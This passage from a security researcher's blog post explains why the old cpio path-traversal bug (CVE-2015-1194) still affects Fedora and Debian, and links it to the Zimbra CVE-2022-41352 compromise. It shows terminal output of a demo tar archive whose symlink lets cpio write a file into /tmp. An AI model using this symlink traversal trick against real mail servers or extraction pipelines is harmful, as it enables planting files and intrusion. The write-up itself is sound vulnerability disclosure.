<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">tar</span> <span class="nt">-tvf</span> ./demo.tar
lrwxrwxrwx ron/ron 0 2023-01-13 15:03 demo -> /tmp/
<span class="nt">-rw-r--r--</span> ron/ron 6 2023-01-13 15:03 demo/imafile
</code></pre></div></div>
<p>In theory, we shouldn’t be able to extract that. Certainly, we can’t with the
standard <code class="language-plaintext highlighter-rouge">tar</code> executable:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">tar</span> <span class="nt">-xvf</span> ./demo.tar
demo
demo/imafile
<span class="nb">tar</span>: demo/imafile: Cannot open: Not a directory
<span class="nb">tar</span>: Exiting with failure status due to previous errors
</code></pre></div></div>
<p>And we <em>shouldn’t</em> be able to with <code class="language-plaintext highlighter-rouge">cpio</code>, since it’s patched…. right?</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ron@fedora ~/cpiotest <span class="nv">$ </span>cpio <span class="nt">-i</span> <span class="nt">-d</span> <span class="nt">--no-absolute-filenames</span> <span class="nt">--verbose</span> < ./demo.tar
demo
demo/imafile
4 blocks
ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">ls
</span>demo@ demo.tar
ron@fedora ~/cpiotest <span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/imafile
<span class="nt">-rw-r--r--</span><span class="nb">.</span> 1 ron ron 6 Jan 13 15:09 /tmp/imafile
</code></pre></div></div>
<p>Wait, what’s happening? This messed me up for awhile! By all accounts, the
current version of <code class="language-plaintext highlighter-rouge">cpio</code> on a nearly-current version of Fedora shouldn’t be
vulnerable, but it is!</p>
<p>I did some spelunking into the source RPMs and DEBs, and found that both
Red Hat and Debian (and all derived OSes) specifically <em>remove</em> the patch, citing
<a href="https://lists.gnu.org/archive/html/bug-cpio/2019-11/msg00016.html">this forum post</a>
where somebody ran into a bug with initrd!</p>
<p>The mailing list post, from 2019, says they’ll look into how to fix this, but as
far as I can tell, nobody ever did. I imagine that removing
<code class="language-plaintext highlighter-rouge">--no-absolute-filenames</code> would fix it, but I don’t think anybody actually
looked into this.</p>
<p>Years later, we come to find out that Zimbra uses Amavis, which uses <code class="language-plaintext highlighter-rouge">cpio</code> by
default (if pax isn’t installed). We found it out because somebody got
exploited, and was kind enough to
<a href="https://forums.zimbra.org/viewtopic.php?t=71153&p=306532">post details about the compromise</a>.
Since I had seen and <a href="https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis">written about</a>
a very similar vulnerability recently, I recognized what was going on in the
forum post. The biggest hurdle was the confusion about why modern systems are
impacted!</p>
<p>Zimbra did roll out a fix eventually - specifically, Zimbra now requires the
<code class="language-plaintext highlighter-rouge">pax</code> executable, which is not vulnerable. We
<a href="https://www.rapid7.com/blog/post/2022/10/06/exploitation-of-unpatched-zero-day-remote-code-execution-vulnerability-in-zimbra-collaboration-suite-cve-2022-41352/">wrote a blog about this</a> back in October when it was new.</p>
<p>One more fun fact.. Ubuntu 18.04 (and as far as I can tell, ONLY Ubuntu 18.04)
backported the patch to cpio 2.12, which really confused my research! I just
happened to be testing Zimbra on Ubuntu 18.04, which includes <code class="language-plaintext highlighter-rouge">cpio</code> version
2.12, which <em>should</em> be vulnerable, but it wasn’t!</p>
<p>It took me awhile to unravel all the weirdness, and I’m happy to report that
it’s all sorted out now.</p>ronLast year, I worked on a vulnerability in Zimbra (CVE-2022-41352 - my AttackerKB analysis for Rapid7) that turned out to be a new(-ish) exploit path for a really old bug in cpio - CVE-2015-1194. But that was patched in 2019, so what happened? (I posted this as a tweet-thread awhile back, but I decided to flesh it out and make it into a full blog post!)